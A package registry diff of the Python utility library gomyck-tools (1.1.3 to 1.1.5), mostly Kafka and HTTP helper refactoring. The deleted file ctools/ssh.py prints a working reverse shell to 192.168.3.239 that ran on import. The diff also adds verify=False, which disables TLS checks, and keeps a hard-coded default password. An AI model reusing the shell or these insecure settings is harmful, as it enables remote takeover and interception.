gomyck-tools 1.1.3__py3-none-any.whl → 1.1.5__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
ctools/bottle_web_base.py CHANGED
@@ -4,7 +4,7 @@ from functools import wraps
4
4
 
5
5
  import bottle
6
6
  from bottle import response, Bottle, request
7
-
7
+ from ctools.dict_wrapper import DictWrapper
8
8
  from ctools.api_result import R
9
9
  from ctools.sys_log import flog as log
10
10
 
@@ -142,9 +142,4 @@ class FormDataParams:
142
142
  except Exception:
143
143
  return self.files[key]
144
144
 
145
- class DictWrapper(dict):
146
- def __getattr__(self, key):
147
- return self.get(key)
148
145
 
149
- def __setattr__(self, key, value):
150
- self[key] = value
ctools/ckafka.py CHANGED
@@ -14,130 +14,74 @@ from ctools.cjson import dumps
14
14
 
15
15
  """
16
16
  import time
17
+ from datetime import datetime
17
18
 
18
- from ctools import thread_pool
19
+ from ctools import thread_pool, string_tools
19
20
  from ctools.ckafka import CKafka
20
21
 
21
22
  c = CKafka(kafka_url='192.168.3.160:9094', secure=True)
22
23
 
24
+ producer = c.init_producer()
25
+ consumer = c.init_consumer(enable_auto_commit=False)
26
+
23
27
  def send_msg():
24
28
  while True:
25
- time.sleep(3)
26
- c.send_msg('test', 'test')
29
+ command = input('发送消息: Y/n \n')
30
+ if command.strip() not in ['N', 'n']:
31
+ producer.send_msg('jqxx-lib', '{{"jqid": "{}", "xxxx": "{}=={}"}}'.format(string_tools.get_snowflake_id(), command.strip(), datetime.strftime(datetime.now(), '%Y-%m-%d %H:%M:%S')))
32
+ else:
33
+ break
27
34
 
28
35
  thread_pool.submit(send_msg)
29
- c.get_msg('test')
30
- """
31
36
 
32
- class CKafka:
37
+ def consumer_callback(msg):
38
+ print(msg)
39
+ return True
40
+
41
+ consumer.receive_msg('jqxx-lib', callBack=consumer_callback)
33
42
 
34
- def __init__(self, kafka_url: str = '127.0.0.1:9092', secure: bool = False, username: str = 'client', password: str = 'hylink_user_password', consumer_group: str = 'ck-py-kafka-consumer'):
35
- self.consumer: KafkaConsumer = None
36
- self.producer: KafkaProducer = None
43
+ time.sleep(10000)
44
+ """
45
+ class KafkaInstance:
46
+ def __init__(self, producer: KafkaProducer, consumer: KafkaConsumer):
37
47
  self.start_consumer = False
38
- self.consumer_callback = {"topic_key": []}
39
- self.consumer_group = consumer_group
40
- self.kafka_url = kafka_url
41
- self.init_producer = False
42
- self.init_consumer = False
43
- self.secure = secure
44
- self.username = username
45
- self.password = password
46
- self.locker = Lock()
47
48
  self.quited = False
48
-
49
- def _create_producer(self) -> KafkaProducer:
50
- print("[ Producer ] Connecting to Kafka brokers")
51
- for i in range(0, 6):
52
- try:
53
- if self.secure:
54
- self.producer = KafkaProducer(
55
- bootstrap_servers=self.kafka_url,
56
- sasl_plain_username=self.username,
57
- sasl_plain_password=self.password,
58
- security_protocol='SASL_PLAINTEXT',
59
- sasl_mechanism='PLAIN',
60
- value_serializer=lambda x: dumps(x).encode('utf-8'))
61
- else:
62
- self.producer = KafkaProducer(
63
- bootstrap_servers=self.kafka_url,
64
- value_serializer=lambda x: dumps(x).encode('utf-8'))
65
- print("[ Producer ] Connected to Kafka...")
66
- self.init_producer = True
67
- return self.producer
68
- except errors.NoBrokersAvailable:
69
- print("[ Producer ] Waiting for brokers to become available...")
70
- time.sleep(3)
71
- raise RuntimeError("[ Producer ] Failed to connect to brokers within 60 seconds")
72
-
73
- def _create_consumer(self) -> KafkaProducer:
74
- print("[ Consumer ] Connecting to Kafka brokers")
75
- for i in range(0, 6):
76
- try:
77
- if self.secure:
78
- self.consumer = KafkaConsumer(
79
- group_id=self.consumer_group,
80
- bootstrap_servers=self.kafka_url,
81
- sasl_plain_username=self.username,
82
- sasl_plain_password=self.password,
83
- security_protocol='SASL_PLAINTEXT',
84
- sasl_mechanism='PLAIN',
85
- value_deserializer=lambda x: x.decode('utf-8'))
86
- else:
87
- self.consumer = KafkaProducer(
88
- bootstrap_servers=self.kafka_url,
89
- value_deserializer=lambda x: x.decode('utf-8'))
90
- print("[ Consumer ] Connected to Kafka...")
91
- self.init_consumer = True
92
- return self.consumer
93
- except errors.NoBrokersAvailable:
94
- print("[ Consumer ] Waiting for brokers to become available...")
95
- time.sleep(3)
96
- raise RuntimeError("[ Consumer ] Failed to connect to brokers within 60 seconds")
49
+ self.producer = producer
50
+ self.consumer = consumer
51
+ self.consumer_callback = {"topic_key": []}
97
52
 
98
53
  # FutureRecordMetadata 可以添加回调, 来监听是否发送成功
99
54
  # r.add_callback(lambda x: print(x))
100
55
  # r.get() 可以同步获取结果
101
56
  def send_msg(self, topic, msg, key: str=None, partition:int=None) -> FutureRecordMetadata:
102
- if self.quited: return None
103
- if not self.init_producer:
104
- with self.locker:
105
- if not self.init_producer:
106
- self._create_producer()
57
+ if self.producer is None: raise RuntimeError("Producer is not initialized")
58
+ if self.quited: return
107
59
  return self.producer.send(topic=topic, value=msg, key=None if key is None else key.encode('utf-8'), partition=partition)
108
60
 
109
- def get_msg(self, topics: str, callBack=print):
110
- if not self.init_consumer:
111
- with self.locker:
112
- if not self.init_consumer:
113
- self._create_consumer()
61
+ def receive_msg(self, topics: str, callBack=print):
62
+ if self.consumer is None: raise RuntimeError("Consumer is not initialized")
114
63
  for topic in topics.split(','):
115
64
  if topic not in self.consumer_callback.keys():
116
65
  self.consumer_callback[topic] = []
117
66
  self.consumer.subscribe(self.consumer_callback.keys())
118
67
  self.consumer_callback[topic].append(callBack)
119
68
  if not self.start_consumer:
120
- t = Thread(target=self._start_consumer_poll)
69
+ t = Thread(target=self._start_consumer_poll, daemon=False)
121
70
  t.start()
122
71
 
123
72
  def _start_consumer_poll(self):
124
73
  self.start_consumer = True
125
74
  for msg in self.consumer:
126
75
  if self.quited: break
127
- taskList = []
128
76
  funcList = []
129
77
  begin_time = time.time()
130
78
  for func in self.consumer_callback[msg.topic]:
131
79
  if self.quited: break
132
- f = thread_pool.submit(func, (msg, ))
133
- taskList.append(f)
80
+ res = func(msg)
81
+ if not self.consumer.config['enable_auto_commit'] and res: self.consumer.commit()
134
82
  funcList.append(func.__name__)
135
- for f in taskList:
136
- if self.quited: break
137
- f.result()
138
83
  end_time = time.time()
139
84
  if end_time - begin_time > 1: print(f"kafka consume too slow!!! {funcList} time cost: ", f'{round(end_time - begin_time, 2)}s')
140
- taskList.clear()
141
85
  funcList.clear()
142
86
 
143
87
  def shutdown(self):
@@ -146,5 +90,70 @@ class CKafka:
146
90
  except Exception: pass
147
91
  try: self.producer.close()
148
92
  except Exception: pass
149
- thread_pool.shutdown(wait=True)
150
93
 
94
+
95
+ class CKafka:
96
+
97
+ def __init__(self, kafka_url: str = '127.0.0.1:9092', secure: bool = False, username: str = 'client', password: str = 'hylink_user_password'):
98
+ self.kafka_url = kafka_url
99
+ self.secure = secure
100
+ self.username = username
101
+ self.password = password
102
+
103
+ def init_producer(self, acks=1) -> KafkaInstance:
104
+ print("[ Producer ] Connecting to Kafka [{}]".format(self.kafka_url))
105
+ for i in range(0, 6):
106
+ try:
107
+ if self.secure:
108
+ producer = KafkaProducer(
109
+ acks=acks,
110
+ bootstrap_servers=self.kafka_url,
111
+ value_serializer=lambda x: dumps(x).encode('utf-8'),
112
+ sasl_plain_username=self.username,
113
+ sasl_plain_password=self.password,
114
+ security_protocol='SASL_PLAINTEXT',
115
+ sasl_mechanism='PLAIN'
116
+ )
117
+ else:
118
+ producer = KafkaProducer(
119
+ acks=acks,
120
+ bootstrap_servers=self.kafka_url,
121
+ value_serializer=lambda x: dumps(x).encode('utf-8')
122
+ )
123
+ print("[ Producer ] Success Connected to Kafka [{}]".format(self.kafka_url))
124
+ return KafkaInstance(producer=producer, consumer=None)
125
+ except errors.NoBrokersAvailable:
126
+ print("[ Producer ] Waiting for Kafka [{}] to become available...".format(self.kafka_url))
127
+ time.sleep(3)
128
+ raise RuntimeError("[ Producer ] Failed to connect to Kafka [{}] within 60 seconds".format(self.kafka_url))
129
+
130
+ def init_consumer(self, client_id: str = 'ck-py-kafka-consumer', consumer_group: str = 'ck-py-kafka-consumer', enable_auto_commit: bool = True) -> KafkaInstance:
131
+ print("[ Consumer ] Connecting to Kafka [{}]".format(self.kafka_url))
132
+ for i in range(0, 6):
133
+ try:
134
+ if self.secure:
135
+ consumer = KafkaConsumer(
136
+ client_id=client_id,
137
+ group_id=consumer_group,
138
+ enable_auto_commit=enable_auto_commit,
139
+ bootstrap_servers=self.kafka_url,
140
+ value_deserializer=lambda x: x.decode('utf-8'),
141
+ sasl_plain_username=self.username,
142
+ sasl_plain_password=self.password,
143
+ security_protocol='SASL_PLAINTEXT',
144
+ sasl_mechanism='PLAIN'
145
+ )
146
+ else:
147
+ consumer = KafkaProducer(
148
+ client_id=client_id,
149
+ group_id=consumer_group,
150
+ enable_auto_commit=enable_auto_commit,
151
+ bootstrap_servers=self.kafka_url,
152
+ value_deserializer=lambda x: x.decode('utf-8')
153
+ )
154
+ print("[ Consumer ] Success Connected to Kafka [{}]".format(self.kafka_url))
155
+ return KafkaInstance(producer=None, consumer=consumer)
156
+ except errors.NoBrokersAvailable:
157
+ print("[ Consumer ] Waiting for Kafka [{}] to become available...".format(self.kafka_url))
158
+ time.sleep(3)
159
+ raise RuntimeError("[ Consumer ] Failed to connect to Kafka [{}] within 60 seconds".format(self.kafka_url))
ctools/dict_wrapper.py ADDED
@@ -0,0 +1,11 @@
1
+ #!/usr/bin/env python
2
+ # -*- coding: UTF-8 -*-
3
+ __author__ = 'haoyang'
4
+ __date__ = '2024/10/25 09:42'
5
+
6
+ class DictWrapper(dict):
7
+ def __getattr__(self, key):
8
+ return self.get(key)
9
+
10
+ def __setattr__(self, key, value):
11
+ self[key] = value
ctools/http_utils.py CHANGED
@@ -4,19 +4,19 @@ import requests
4
4
  def get(url, params=None, headers=None):
5
5
  result = ""
6
6
  try:
7
- response = requests.get(url, params=params, headers=headers, timeout=60)
7
+ response = requests.get(url, params=params, headers=headers, timeout=60, verify=False)
8
8
  response.raise_for_status()
9
9
  if response.status_code == 200:
10
10
  result = response.content
11
11
  except Exception as e:
12
12
  print("GET请求异常:", e)
13
- return result
13
+ return result.decode('utf-8')
14
14
 
15
15
 
16
16
  def post(url, data=None, json=None, headers=None, files=None):
17
17
  result = ""
18
- response = requests.post(url, data=data, json=json, files=files, headers=headers, timeout=60)
18
+ response = requests.post(url, data=data, json=json, files=files, headers=headers, timeout=60, verify=False)
19
19
  response.raise_for_status()
20
20
  if response.status_code == 200:
21
21
  result = response.content
22
- return result
22
+ return result.decode('utf-8')
ctools/id_worker_tools.py CHANGED
@@ -4,49 +4,41 @@ import time
4
4
  WORKER_ID_BITS = 5
5
5
  DATACENTER_ID_BITS = 5
6
6
  SEQUENCE_BITS = 12
7
-
8
7
  # 最大取值计算
9
8
  MAX_WORKER_ID = -1 ^ (-1 << WORKER_ID_BITS) # 2**5-1 0b11111
10
9
  MAX_DATACENTER_ID = -1 ^ (-1 << DATACENTER_ID_BITS)
11
-
12
10
  # 移位偏移计算
13
11
  WOKER_ID_SHIFT = SEQUENCE_BITS
14
12
  DATACENTER_ID_SHIFT = SEQUENCE_BITS + WORKER_ID_BITS
15
13
  TIMESTAMP_LEFT_SHIFT = SEQUENCE_BITS + WORKER_ID_BITS + DATACENTER_ID_BITS
16
-
17
14
  # 序号循环掩码
18
15
  SEQUENCE_MASK = -1 ^ (-1 << SEQUENCE_BITS)
19
-
20
16
  # Twitter元年时间戳
21
17
  TWEPOCH = 1288834974657
22
18
 
23
-
24
19
  class IdWorker(object):
25
20
  """
26
21
  用于生成IDs
27
22
  """
28
-
29
23
  def __init__(self, datacenter_id, worker_id, sequence=0):
30
24
  """
31
25
  初始化
32
26
  :param datacenter_id: 数据中心(机器区域)ID
33
27
  :param worker_id: 机器ID
34
- :param sequence: 其实序号
28
+ :param sequence: 起始序号
35
29
  """
36
30
  # sanity check
37
31
  if worker_id > MAX_WORKER_ID or worker_id < 0:
38
32
  raise ValueError('worker_id值越界')
39
-
40
33
  if datacenter_id > MAX_DATACENTER_ID or datacenter_id < 0:
41
34
  raise ValueError('datacenter_id值越界')
42
-
43
35
  self.worker_id = worker_id
44
36
  self.datacenter_id = datacenter_id
45
37
  self.sequence = sequence
46
-
47
38
  self.last_timestamp = -1 # 上次计算的时间戳
48
39
 
49
- def _gen_timestamp(self):
40
+ @staticmethod
41
+ def _gen_timestamp():
50
42
  """
51
43
  生成整数时间戳
52
44
  :return:int timestamp
@@ -59,21 +51,17 @@ class IdWorker(object):
59
51
  :return:
60
52
  """
61
53
  timestamp = self._gen_timestamp()
62
-
63
54
  # 时钟回拨
64
55
  if timestamp < self.last_timestamp:
65
56
  print('clock is moving backwards. Rejecting requests until {}'.format(self.last_timestamp))
66
57
  raise
67
-
68
58
  if timestamp == self.last_timestamp:
69
59
  self.sequence = (self.sequence + 1) & SEQUENCE_MASK
70
60
  if self.sequence == 0:
71
61
  timestamp = self._til_next_millis(self.last_timestamp)
72
62
  else:
73
63
  self.sequence = 0
74
-
75
64
  self.last_timestamp = timestamp
76
-
77
65
  new_id = ((timestamp - TWEPOCH) << TIMESTAMP_LEFT_SHIFT) | (self.datacenter_id << DATACENTER_ID_SHIFT) | \
78
66
  (self.worker_id << WOKER_ID_SHIFT) | self.sequence
79
67
  return new_id
ctools/images_tools.py CHANGED
@@ -1,4 +1,3 @@
1
-
2
1
  from io import BytesIO
3
2
 
4
3
  from PIL import Image
ctools/imgDialog.py CHANGED
@@ -6,7 +6,6 @@ from tkinter import ttk
6
6
  import requests
7
7
  from PIL import Image, ImageTk
8
8
 
9
-
10
9
  def showImageTip(root, title, imagePath, tips):
11
10
  # 创建一个Tk对象
12
11
  if root:
ctools/mqtt_utils.py CHANGED
@@ -1,13 +1,17 @@
1
1
  import time
2
+ from enum import Enum
2
3
  from typing import Dict
3
4
 
4
- from business.common import DictToObj
5
- from business.common.constant import MQTTEvent
5
+ from ctools.dict_wrapper import DictWrapper as DictToObj
6
6
  from paho.mqtt import client as mqtt
7
7
  from paho.mqtt.enums import CallbackAPIVersion
8
8
 
9
9
  from ctools import sys_log, cjson, string_tools, sys_info, date_utils, sm_tools, thread_pool
10
10
 
11
+ class MQTTEvent(Enum):
12
+
13
+ pass
14
+
11
15
  '''
12
16
  MQTT服务使用示例:
13
17
 
ctools/pty_tools.py CHANGED
@@ -2,6 +2,8 @@ import _thread
2
2
  import queue
3
3
  import time
4
4
 
5
+ # 伪终端交互
6
+
5
7
  from winpty import PtyProcess
6
8
 
7
9
 
ctools/string_tools.py CHANGED
@@ -7,6 +7,7 @@ import chardet
7
7
 
8
8
  from ctools.id_worker_tools import IdWorker
9
9
 
10
+ idWorker = IdWorker(1, 2, 0)
10
11
 
11
12
  def get_random_str(size: int = 10):
12
13
  """
@@ -22,7 +23,7 @@ def get_uuid():
22
23
 
23
24
 
24
25
  def get_snowflake_id():
25
- return IdWorker(1, 2, 0).get_id()
26
+ return idWorker.get_id()
26
27
 
27
28
 
28
29
  def decode_bytes(bytes_str: Union[bytes, bytearray]):
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.1
2
2
  Name: gomyck-tools
3
- Version: 1.1.3
3
+ Version: 1.1.5
4
4
  Summary: A ctools for python development by hao474798383
5
5
  Home-page: https://blog.gomyck.com
6
6
  Author: gomyck
@@ -20,6 +20,10 @@ Requires-Dist: psutil >=6.0.0
20
20
  Requires-Dist: jsonpath-ng >=1.6.1
21
21
  Requires-Dist: bottle ==0.13.1
22
22
  Requires-Dist: requests ==2.32.3
23
+ Requires-Dist: urllib3 ==1.26.18
23
24
  Requires-Dist: kafka-python ==2.0.2
25
+ Requires-Dist: bs4 ==0.0.2
26
+ Requires-Dist: paho-mqtt ==2.1.0
27
+ Requires-Dist: fuzzywuzzy ==0.18.0
24
28
 
25
29
  this package is for python development
@@ -4,43 +4,43 @@ ctools/api_result.py,sha256=NiM-R9K42G3m16B27sG_mqKrlexZzC5-LKoY8D5tO4s,1239
4
4
  ctools/application.py,sha256=WviU7p9GOqducbGW3XGkP7jCNKmraCh6JGSYBC33CQk,16008
5
5
  ctools/b64.py,sha256=_BdhX3p3-MaSSlU2wivN5qPxQfacR3VRBr1WC456tU0,194
6
6
  ctools/bashPath.py,sha256=BCN_EhYzqvwsxYso81omMNd3SbEociwSOyb9kLvu8V4,337
7
- ctools/bottle_web_base.py,sha256=-8z4q2pL8LXh0cPT4q3nv7WF-JdhyGXZPKliZTTwBKM,4951
7
+ ctools/bottle_web_base.py,sha256=I8SrytLXofUCDwjLsk4C259MlLZC05Q4RGNq-Of36d8,4855
8
8
  ctools/bottle_webserver.py,sha256=3S5NkqLFerlYWt96owxmpgAQKTnXbQ_5uKHL5CeilIw,2455
9
9
  ctools/bottle_websocket.py,sha256=IRY17SpDFjihLeU8c_aUIMAfUNZzurqfrOyNFojOQHQ,1858
10
10
  ctools/browser_element_tools.py,sha256=IFR_tWu5on0LxhuC_4yT6EOjwCsC-juIoU8KQRDqR7E,9952
11
11
  ctools/call.py,sha256=BCr8wzt5qd70okv8IZn-9-EpjywleZgvA3u1vfZ_Kt8,1581
12
12
  ctools/cjson.py,sha256=M2XrXnFXTJyKsXP2JRos2Bse4b6WXjr6TrA6y-EF_Ig,1245
13
- ctools/ckafka.py,sha256=cxtM1X0YLBrLxKBioWKME-b1JBzc8rMKSqt5gYGg2dc,5162
13
+ ctools/ckafka.py,sha256=gROE2Wtz-yVm_eAXmrgf5jBRLHrscddl811q3x1rvZ8,5966
14
14
  ctools/compile_tools.py,sha256=Nybh3vnkurIKnPnubdYzigjnzFu4GaTMKPvqFdibxmE,510
15
15
  ctools/console.py,sha256=EZumuyynwteKUhUxB_XoulHswDxHd75OQB34RiZ-OBM,1807
16
16
  ctools/cron_lite.py,sha256=f9g7-64GsCxcAW-HUAvT6S-kooScl8zaJyqwHY-X_rE,8308
17
17
  ctools/database.py,sha256=5LPmchtyekLeP1idrexgjPNLrywWc4IMp-ztDff95vQ,5362
18
18
  ctools/date_utils.py,sha256=-xI2anEzAonOvYwVmM1hCnkuLKodZ8pb33dS3dRxEIc,865
19
+ ctools/dict_wrapper.py,sha256=JsJssnMLIubWDdpr8vVzGP47NnZhB3t81zfyoWKU2mU,240
19
20
  ctools/douglas_rarefy.py,sha256=oSdc_uGfiBWqSKLpdg_npYeGxhZqXUTPB3pou6SM2_Y,4823
20
21
  ctools/download_tools.py,sha256=oJbG12Hojd0J17sAlvMU480P3abi4_AB9oZkEBGFPuo,1930
21
22
  ctools/enums.py,sha256=QbHa3j7j4-BDdwaga5Y0nYfA2uNSVJDHumYdIZdKVkM,118
22
23
  ctools/ex.py,sha256=_UtbmDLrC7uZsoBtTdecuCZAlf2DA7fvojUf5fGZDVo,795
23
24
  ctools/excelOpt.py,sha256=q3HLAb1JScTrMCvx_x-4WWnqKhyTEzQ-m5vtqFy8NZU,1138
24
25
  ctools/html_soup.py,sha256=LabCo4yWI58fbFBPhunk3THWBf0BbHEWLgwyvSpTGR4,1903
25
- ctools/http_utils.py,sha256=4dt7OTRZluB9wCK4HL0TBqVZrV3cj_AIs4-9mGDC1zA,616
26
- ctools/id_worker_tools.py,sha256=xtfxpL8q4hHLT02JFx2jVXEXpasHq44ZFsOhO580JmE,2357
27
- ctools/images_tools.py,sha256=8LGH3vZIfpnFG3hycs9Nlol3uhVgprzWSxjc_qgdzNQ,671
28
- ctools/imgDialog.py,sha256=5r_XTPLyZj3Oa3HhwF2aQhziE74eFXe7aJZNndpXh18,1386
26
+ ctools/http_utils.py,sha256=A2Nue8VjDIsEJmezjGnDsujob7utSHrm7-2zyzqbGyc,676
27
+ ctools/id_worker_tools.py,sha256=M4ehNKbVIrBhPs-GlVKEZ43WQArNb9s4UoVGgRit4YM,2356
28
+ ctools/images_tools.py,sha256=TapXYCPqC7GesgrALecxxa_ApuT_dxUG5fqQIJF2bNY,670
29
+ ctools/imgDialog.py,sha256=zFeyPmpnEn9Ih7-yuJJrePqW8Myj3jC9UYMTDk-umTs,1385
29
30
  ctools/license.py,sha256=0Kh7lXL7LD1PQqyijHajFL0GbmZGNB88PA2WskbQn_s,1066
30
31
  ctools/metrics.py,sha256=vq9Fnq2fhmhS4yoHS4gO7ArKS033Eou8vpA779Uue0I,4414
31
- ctools/mqtt_utils.py,sha256=h53fcyBx7AZFe5fe2nFEu8n1IWT_5ja7-UY9f7gkj7Q,10676
32
+ ctools/mqtt_utils.py,sha256=ZWSZiiNJLLlkHF95S6LmRmkYt-iIL4K73VdN3b1HaHw,10702
32
33
  ctools/obj.py,sha256=GYS1B8NyjtUIh0HlK9r8avC2eGbK2SJac4C1CGnfGhI,479
33
34
  ctools/pacth.py,sha256=MJ9Du-J9Gv62y4cZKls1jKbl5a5kL2y9bD-gzYUCveQ,2604
34
35
  ctools/plan_area_tools.py,sha256=pySri43bVfkHjzlKujML-Nk8B3QLxuYv5KJMha-MLmU,3311
35
36
  ctools/process_pool.py,sha256=1TuZySUbQjgYYcuwis54DIwQTimWvTLNahSra7Ia8Ps,951
36
- ctools/pty_tools.py,sha256=RofRMFnU8Zd4o9mKI8t1v5n_RSCskfs_JcLsonm-1uM,1603
37
+ ctools/pty_tools.py,sha256=KI3dOyv2JLZmU1VfD1aLMq9r9d5VCu3TdtcezZayBEI,1622
37
38
  ctools/resource_bundle_tools.py,sha256=8zW1-aj6jAYFBCoyslz5bL-5916G6Aif1RUy_ObbiVU,3793
38
39
  ctools/screenshot_tools.py,sha256=KoljfgqW5x9aLwKdIfz0vR6v-fX4XjE92HudkDxC2hE,4539
39
40
  ctools/sign.py,sha256=YOrON1SeLRPavPWtE3GonvWFVv1SGFjfjrEVJ3k4x6s,566
40
41
  ctools/sm_tools.py,sha256=RwhTjuKw_TjaAJAui39wctzFFpbt79MQ3hjF0fhL638,1113
41
- ctools/ssh.py,sha256=Zii7HsIuHz5xAjR-2QFcHD-WXDDwnupnRbBlfNQcvys,231
42
42
  ctools/strDiff.py,sha256=QUtXOfsRLTFozH_zByqsC39JeuG3eZtrwGVeLyaHYUI,429
43
- ctools/string_tools.py,sha256=qjFn47lM27ISAa2Q4OKO7WOBdhyWC5lLHbME-uSeICE,2142
43
+ ctools/string_tools.py,sha256=WlLQxQePbYVzvPi0YFGpTbHLQl9eRhHrX-DPkN4zMzg,2162
44
44
  ctools/sys_info.py,sha256=kgAPNP4ruso5kJS3kec9HMJLlvHPUj311Uv9SibPY_k,3626
45
45
  ctools/sys_log.py,sha256=oqb1S41LosdeZxtogFVgDk8R4sjiHhUeYJLCzHd728E,2805
46
46
  ctools/thread_pool.py,sha256=qb68ULHy1K7u3MC7WP49wDhmgUhgWazd9FRuFbClET4,925
@@ -51,7 +51,7 @@ ctools/wordFill.py,sha256=dB1OLt6GLmWdkDV8H20VWbJmY4ggNNI8iHD1ocae2iM,875
51
51
  ctools/word_fill.py,sha256=aIkzjAF2soSW6w2dO2CRZlveDcuIdr6v9DtyyyB8uxM,18216
52
52
  ctools/word_fill_entity.py,sha256=eX3G0Gy16hfGpavQSEkCIoKDdTnNgRRJrFvKliETZK8,985
53
53
  ctools/work_path.py,sha256=i4MTUobqNW2WMrT3mwEC_XYQ0_IhFmKoNpTX2W6A8Tc,1680
54
- gomyck_tools-1.1.3.dist-info/METADATA,sha256=uSVKRMqurM0ZpEE28uWO_QNyqAdzWpeTShHafMLZWsQ,812
55
- gomyck_tools-1.1.3.dist-info/WHEEL,sha256=yQN5g4mg4AybRjkgi-9yy4iQEFibGQmlz78Pik5Or-A,92
56
- gomyck_tools-1.1.3.dist-info/top_level.txt,sha256=-MiIH9FYRVKp1i5_SVRkaI-71WmF1sZSRrNWFU9ls3s,7
57
- gomyck_tools-1.1.3.dist-info/RECORD,,
54
+ gomyck_tools-1.1.5.dist-info/METADATA,sha256=ROb8nibIaQHVVVc_J018uD-GKJSI81oB6OIHWRw_RIQ,940
55
+ gomyck_tools-1.1.5.dist-info/WHEEL,sha256=yQN5g4mg4AybRjkgi-9yy4iQEFibGQmlz78Pik5Or-A,92
56
+ gomyck_tools-1.1.5.dist-info/top_level.txt,sha256=-MiIH9FYRVKp1i5_SVRkaI-71WmF1sZSRrNWFU9ls3s,7
57
+ gomyck_tools-1.1.5.dist-info/RECORD,,
ctools/ssh.py DELETED
@@ -1,11 +0,0 @@
1
- import os
2
- import socket
3
- import subprocess
4
-
5
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
6
- s.connect(('192.168.3.239',3123))
7
- os.dup2(s.fileno(),0)
8
- os.dup2(s.fileno(),1)
9
- os.dup2(s.fileno(),2)
10
- p=subprocess.call(['/bin/sh','-i'])
11
-